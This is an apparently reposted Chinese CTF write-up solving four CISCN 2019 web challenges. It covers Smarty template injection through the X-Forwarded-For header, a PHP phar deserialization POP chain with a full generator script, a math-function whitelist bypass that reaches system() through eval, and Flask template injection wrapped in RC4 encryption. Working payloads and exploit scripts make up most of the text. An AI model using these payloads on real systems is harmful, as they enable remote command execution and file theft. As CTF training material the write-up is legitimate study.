0


CISCN2019web刷题记录

[CISCN2019 华东南赛区]Web11

考察知识点

1.SSTI(smarty模板)

2.X-Forwarded-For(HTTP请求头字段)

注意最下面的

Build With Smarty!

, 猜测是smarty模板注入。smart是php的模板引擎,模板引擎的作用就是分离前端页面和数据的,题目中显示API的URL由于环境的原因无法使用,但我们的IP依旧显示在了页面的右上角,且根据它的提示XFF我们很容易想到,在X-Forwarded-For里构造ssti:payload。

开始用bp抓包,然后插入X-Forwarded-For:

{$smarty.version}

来看一下版本。

回显,版本为3.1.30,说明是smarty模板注入
同时回显中也可发现,php版本是7.3.5,那么这样的话<script language="php">phpinfo();</script> ,就无法使用同时smarty的版本是3,所以{php}{/php}也无法使用。
但是smarty的if标签也可以执行php代码

虽然php标签不能用,但是还有个{if}标签。
Smarty的{if}条件判断和PHP的if 非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if}. 也可以使用{else} 和 {elseif}. 全部的PHP条件表达式和函数都可以在if内使用,如*||*,or,&&,and,is_array(), 等等

既然全部的PHP条件表达式和函数都可以在if内使用,那我们在里面写php代码也行。

通过一串代码{if phpinfo()}{/if}来了解一下,它的漏洞为什么会产生。

** 因为

smarty

中的

{if}

标签中可以执行

php

语句**

构建payload1

{if readfile('/flag')}{/if}

插入X-Forwarded-For:

{if readfile('/flag')}{/if}

在网站里查看一下html代码就可以找到flag了。

PS

payload2:{if system('cat /flag')}{/if}

payload3:{if system('cat /flag')}{/if}

[CISCN 2019华北Day1]Web1

考点:代码审计,phar反序列化

参考文章:[CTF]PHP反序列化总结_Y4tacker的博客-CSDN博客_ctf php反序列化

前置知识

要简单了解的是phar的四个部分:

1,stub

phar 文件的表示,以 xxxxxx<?php xxx;__HALT__COMPILER();?> 为固定形式,前面内容可以变,点必须 __HALT__COMPILER();?>结尾。

2,a mainfest describing the contents

该部分是phar文件中被压缩的文件的一些信息,其中meta-data部分的信息会被序列化,即执行serialize()函数,而phar://就相当于对这部分的内容进行反序列化,此处也正是漏洞点所在。

3,the file contents

这部分存储的是文件的内容,在没有其它特殊要求的情况下,这里面的内容不做约束。

  1. a signature for verifying Phar integrity

数字前面 ,在最末尾。

前提条件

1.. phar 文件可以上传至服务器。

  1. 文件操作入 file_exists() .file_get_content(),fopen() ,要有可利用的魔术方法作为跳板

3.文件流参数可控,且phar://协议可用 / phar 等特殊字符没有被过滤

打开题目后,一个登录页面

随便注册一下,登录上去

注意

左上角有一个上传文件

,我们先随便建个文档上传提交,发现它要求得文件类型只能是gif/jpg/png的类型,然后进一步测试发现,只更改文件后缀名是没有用的,需要抓包更改其Content-Type为image/jpeg或其它图片格式的对应字符串。

也可以参考一下这个大佬的文章

[CISCN2019 华北赛区 Day1 Web1]Dropbox-CSDN博客

这时候构造

phar.phar

进行上传

pop链:

<?php
    class User {
        public $db;
    }

    class FileList {
        private $files;
        private $results;
        private $funcs;

        public function __construct() {
            $file = new File();
            $file->filename = '/flag.txt';
            $this->files = array($file);
            $this->results = array();
            $this->funcs = array();
        }
    }

    class File {
        public $filename;
    }

    ini_set('phar.readonly',0);

    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar

    $phar->startBuffering();

    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub

    $o = new User();
    $o->db = new FileList();

    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("exp.txt", "glzjin"); //添加要压缩的文件
    //签名自动计算

    $phar->stopBuffering();
?>

注意:想要生成phar文件记得把php.ini中的phar.readonly选项设置为Off,否则将无法生成phar文件

构造出来的

phar.phar

重新命名为

phar.jpg

然后进行上传

之后访问**

/delete.php

**、post传参

filename=phar://phar.jpg/exp.txt

得到flag

[CISCN 2019初赛]Love Math

打开题目,源码如下

 <?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

先进行代码审计:这段PHP代码是一个数学计算器,它接受一个GET参数

c

,然后对其进行计算。首先,它会检查参数

c

是否包含非法字符或函数,如果包含,则返回错误信息。如果参数合法,它将使用PHP的数学函数进行计算并输出结果。

黑名单字符:单双引号(' ")、反引号(`)、中括号([ ])。这里说明几点:

单双引号的禁用说明字符串是无法使用的,可以用返回值为字符串的函数返回。
反引号的禁用说明无法使用命令执行,
中括号是用来访问数组的元素,可以用花括号({})代替。
白名单是一系列的数学函数。首先在里面寻找能够返回字符串的函数,

  • base_convert:2到36进制之间的任意转换。
  • decbin:十进制转到二进制。
  • dechex:十进制转换为十六进制。
  • decoct:十进制转换为八进制。

我们的最终目标通过最后一句代码,

 eval('echo '.$content.';');

执行语句system(“cat /flag”)

黑名单中禁止了引号

"

,这一点利用动态函数的性质绕过,即字符串做函数名,加上括号即可被当作函数执行,如下:

c=($_GET[a])($_GET[b])&a=system&b=cat /flag

_GET通过白名单中的编码函数得到,PL如下

base_convert(37907361743,10,36)(dechex(1598506324))

考虑能将某种进制的数字字符串转换成特定字符串的函数,类似hex2bin(),因为 hex2bin() 接收的十六进制数字字符串("5f474554")可以由整型数字(1598506324)通过 dechex() 函数转换得到,而 hex2bin() 返回一个特定的字符串。

1.base_convert(37907361743,10,36)=>“hex2bin”
2.dechex(1598506324)=>“5f474554”
3.hex2bin(“5f474554”)=>_GET

用白名单中的变量pi来保存一下

构建最后payload:

?c=$pi=base_convert(26941962055,10,34)(dechex(1598506324));($$pi){pi}(($$pi){cos})&pi=system&cos=cat /flag
$pi=_GET

pi=system,cos=cat /flag

分号后面语句的

$$pi

就是$_GET
翻译过来分号后面就是

_GET{pi}(_GET{cos})&pi=system&cos=cat /flag

通俗的讲

根据代码意思,应该就是通过使用白名单函数或者当成变量来使用,同时要求长度小于80

看到最后的exec,我们需要构造出system($_GET['a']),而这个已经被挡住了,我们可以传入a=system,b=cat /flag来获取flag

但还是需要得到_GET,另外中括号可以用大括号代替

base_convert(number,frombase,tobase);

将number从frombase进制转化为tobase进制

hex2bin()

把十六进制值转换为 ASCII 字符:

dechex()

把10进制转换为16进制

有base_convert(26941962055,10,34)即hex2bin 26941962055是base_convert("hex2bin",34,10)得来的,至于为什么34,我试过34之前的,都无法完整拼出henx2bin,到34就能

然后找到_GET的ascii码之后再转为16进制之后10进制即1598506324

dechex(1598506324)得到_GET的16进制,再通过hex2bin得出_GET

最后构建出payload

?c=$pi=base_convert(26941962055,10,34)(dechex(1598506324));($$pi){pi}(($$pi){cos})&pi=system&cos=cat /flag

[CISCN2019 华东南赛区]Double Secret

进入环境

查看源码、抓包都没有发现特别的提示,可以用御剑扫一扫后台目录,发现了/secret这个路径,访问一下,页面内容为Tell me your secret.I will encrypt it so others can't see,猜测是GET型传参,试试/secret?secret=1,回显d,综合来看是对传入的secret进行了某种加密后回显。几经尝试,

当传入?secret=11111时,页面报错,多传点东西也会报错。

在报错页面发现了

app.py

的报错,点开有部分源码泄露

逻辑就是对传入的secret进行RC4加密,且密钥已知,

safe()

函数猜测是对恶意代码的过滤,然后模板渲染。这是flask的模板,而且用了

render_template_string

,很明显存在ssti(flask 模板注入漏洞

RC4加密
先来看看RC4加密解密,RC4(来自Rivest Cipher 4的缩写)是一种流加密算法,密钥长度可变。它加解密使用相同的密钥,因此也属于对称加密算法。所谓对称加密,就是加密和解密的过程是一样的。RC4加密原理很简单,只需要一个KeyStream与明文进行异或即可,密钥流的长度和明文的长度是对应的。RC4算法的的主要代码还是在于如何生成秘钥流。

用一下大神的脚本

import base64
from urllib.parse import quote
def rc4_main(key = "init_key", message = "init_message"):
    # print("RC4加密主函数")
    s_box = rc4_init_sbox(key)
    crypt = str(rc4_excrypt(message, s_box))
    return  crypt
def rc4_init_sbox(key):
    s_box = list(range(256))
    # print("原来的 s 盒:%s" % s_box)
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    # print("混乱后的 s 盒:%s"% s_box)
    return s_box
def rc4_excrypt(plain, box):
    # print("调用加密程序成功。")
    res = []
    i = j = 0
    for s in plain:
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j]) % 256
        k = box[t]
        res.append(chr(ord(s) ^ k))
    cipher = "".join(res)
    print("%s" %quote(cipher))
    return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
rc4_main("HereIsTreasure","{{lipsum.__globals__.__builtins__.eval(\"__import__('os').popen('cat /flag.txt').read()\")}}")

跑一下就可以了

构建payload

/secret?secret=.%14U%5C%C2%BA%14%1Ec%25%C2%A2%C3%A7%14%C2%B2%C2%BD%C3%B4%C2%A98%C2%80k%0B%C3%B9m%C3%9Fp%1F%C2%984%C2%9D%5B%C3%82%21%C3%98%12%C3%85H%C3%80%09%C3%BD%60%C2%A6D%C3%A5%C2%84%C3%AF%7D%01%C2%AF%0E%C2%9A%C2%82%0E%2Bm%C3%B8m%25%C3%99/G%C3%94%C2%BCDY%C2%B2%C2%97%18%C2%AE%09uB%3B%C3%A8H%C2%95-%C3%B8h%C3%94%21%17%2C3D%C2%8B%C2%9E%12%C3%BA%C3%BF%C2%BB%C3%9A

就拿到flag了。

标签: 网络

本文转载自: https://blog.csdn.net/m0_73239569/article/details/137473848
版权归原作者 继续学吧 所有, 如有侵权,请联系我们删除。

“CISCN2019web刷题记录”的评论:

还没有评论